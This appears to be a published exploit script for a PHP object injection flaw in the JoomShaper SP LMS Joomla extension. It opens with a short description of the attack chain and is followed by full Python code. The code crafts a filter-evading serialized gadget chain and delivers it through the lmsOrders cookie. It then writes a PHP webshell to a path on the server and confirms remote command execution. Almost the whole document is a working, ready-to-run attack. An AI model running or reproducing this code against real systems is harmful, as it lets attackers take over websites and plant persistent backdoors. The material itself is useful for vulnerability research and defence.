Share
## https://sploitus.com/exploit?id=EDB-ID:52617
Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection 
Affected : JoomShaper SP LMS <= 4.1.3
Fixed    : JoomShaper SP LMS >= 4.1.4
Author   : Amin ฤฐsayev / Proxima Cyber Security

Joomla version note:
  RCE requires Joomla < 5.2.2
  Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the
  gadget chain โ€” PHP Object Injection still exists in com_splms but no
  known public gadget chain leads to RCE on patched Joomla versions.

Attack chain:
  lmsOrders cookie
  โ†’ unserialize(base64_decode($cookie))          [com_splms/models/cart.php:28]
  โ†’ FormattedtextLogger.__destruct()              [Joomla gadget]
  โ†’ File::write($path, $format)
  โ†’ webshell on disk

Joomla Input filter note:
  $cookie->get() uses 'cmd' filter by default โ†’ strips '/', '=', '+' from cookie.
  Fix: pad format string so serialized total is divisible by 3 (no '=') and
  iterate until base64 has no '/' (shifts encoding).

  Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n

Usage:
  python3 CVE-2026-48909_exploit.py <target> <server_path>

  server_path = absolute PHP-writable path on server
  Examples  :
    /var/www/html/tmp/x.php
    /home/USER/public_html/tmp/x.php
    /var/www/vhosts/site.com/httpdocs/tmp/x.php
"""

import sys
import base64
import requests
import urllib3

urllib3.disable_warnings()

CART_PATH = "/index.php?option=com_splms&view=cart"
TIMEOUT   = 15
WEBSHELL  = '<?php fpassthru(popen($_GET["c"],"r"));?>'

# โ”€โ”€โ”€ PHP serializer โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

def _s(s: str) -> str:
    return f's:{len(s.encode())}:"{s}";'

def _pk(name: str) -> str:
    """Protected property key (null-byte notation for string concat)"""
    return f'\x00*\x00{name}'

def _build_serialized(webshell_path: str, fmt: str) -> str:
    """Build the raw PHP serialized string (not yet base64)."""
    entry = (
        'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{'
        's:4:"date";s:10:"1234567890";'
        's:4:"time";s:1:"t";'
        's:1:"f";s:3:"xxx";'
        '}'
    )
    cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger'

    props = (
        _s(_pk('defer'))    + 'b:1;' +
        _s(_pk('options'))  + 'a:1:{s:16:"text_file_no_php";b:1;}' +
        _s(_pk('path'))     + _s(webshell_path) +
        _s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' +
        _s(_pk('format'))   + _s(fmt) +
        _s(_pk('fields'))   + 'a:0:{}'
    )
    return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}'


def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]:
    """
    Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter.

    The filter strips '/', '=' and '+'. We avoid these by:
      1. Encoding php_code as hex โ†’ no '$', '_', '{', '}', '\\n' in format
      2. Padding format to make total serialized length divisible by 3 โ†’ no '=' padding
      3. Iterating pad size (by 3) until base64 contains no '/' chars

    Returns (base64_payload, format_length).
    """
    hex_code   = php_code.encode().hex()
    core       = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));'
    pad_prefix = '/*'
    pad_suffix = '*/;?>'

    PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

    for target_fmt_len in range(200, 8000):
        pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix)
        if pad_len < 0:
            continue

        # Quick mod-3 check with first pad_char before trying all 62
        fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix
        ser_probe  = _build_serialized(webshell_path, fmt_probe).encode('latin-1')
        if len(ser_probe) % 3 != 0:
            continue  # no pad_char can fix mod-3 alignment for this length

        for pad_char in PAD_CHARS:
            fmt = core + pad_prefix + pad_char * pad_len + pad_suffix

            serialized = _build_serialized(webshell_path, fmt)
            ser_bytes   = serialized.encode('latin-1')
            b64 = base64.b64encode(ser_bytes).decode()

            if '/' not in b64 and '+' not in b64:
                return b64, len(fmt)

    raise RuntimeError("Could not find filter-safe payload โ€” try a different path")


# โ”€โ”€โ”€ Exploit โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

def _server_path_to_url(server_path: str) -> str:
    """Strip webroot prefix to get the URL path."""
    import re
    # cPanel: /home[N]/USER/public_html/...
    m = re.match(r'^/home\d*/[^/]+/public_html(/.*)', server_path)
    if m:
        return m.group(1)
    # Plesk: /var/www/vhosts/DOMAIN/httpdocs/...
    m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path)
    if m:
        return m.group(1)
    # Standard
    for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'):
        if server_path.startswith(prefix):
            return server_path[len(prefix):]
    return server_path


def exploit(target: str, server_path: str) -> None:
    url_path = _server_path_to_url(server_path)

    cart_url  = target.rstrip('/') + CART_PATH
    shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path)

    session = requests.Session()
    session.verify = False
    session.headers.update({
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
    })

    print(f"[*] Target     : {target}")
    print(f"[*] Shell path : {server_path}")
    print(f"[*] Shell URL  : {shell_url}")

    print("[*] Building filter-safe payload...")
    payload, fmt_len = build_payload(server_path, WEBSHELL)
    print(f"[*] Format len : {fmt_len} bytes  |  Base64 len: {len(payload)}")
    print(f"[*] Payload    : {payload[:60]}...")
    print()

    try:
        r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT)
        status = r.status_code
        if status == 500:
            print(f"[+] HTTP 500 โ€” gadget triggered (FormattedtextLogger.__destruct)")
        elif status == 200:
            print(f"[?] HTTP 200 โ€” payload may have been filtered or gadget not triggered")
        else:
            print(f"[?] HTTP {status}")
    except requests.RequestException as e:
        print(f"[!] Request failed: {e}")
        return

    import time; time.sleep(1)

    # Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell
    print("[*] Step 1: triggering fopen/fwrite loader...")
    try:
        r1 = session.get(shell_url, timeout=TIMEOUT)
        print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)")
    except requests.RequestException as e:
        print(f"[!] Loader request failed: {e}")

    # Step 2: verify RCE
    print("[*] Step 2: checking shell...")
    try:
        rv = session.get(shell_url + '?c=id', timeout=TIMEOUT)
        if rv.status_code == 200 and 'uid=' in rv.text:
            print(f"\n[+] SHELL ACTIVE!")
            print(f"[+] id: {rv.text.strip()[:200]}")
            print(f"\n    curl -sk '{shell_url}?c=COMMAND'")
        elif rv.status_code == 200 and len(rv.text.strip()) < 600:
            print(f"\n[~] File accessible:")
            print(f"    {rv.text.strip()[:300]}")
            print(f"\n    Try again: curl -sk '{shell_url}?c=id'")
        elif rv.status_code == 404:
            print(f"[-] Shell not found (404) โ€” file not written or wrong path")
            print(f"    Common paths: /tmp/x.php  /images/x.php  /cache/x.php")
        elif rv.status_code == 403:
            print(f"[~] 403 โ€” file may exist but PHP not served there")
        else:
            print(f"[-] HTTP {rv.status_code}")
    except requests.RequestException as e:
        print(f"[!] Shell check failed: {e}")


def main():
    if len(sys.argv) < 3:
        print(__doc__)
        sys.exit(1)

    exploit(sys.argv[1], sys.argv[2])


if __name__ == '__main__':
    main()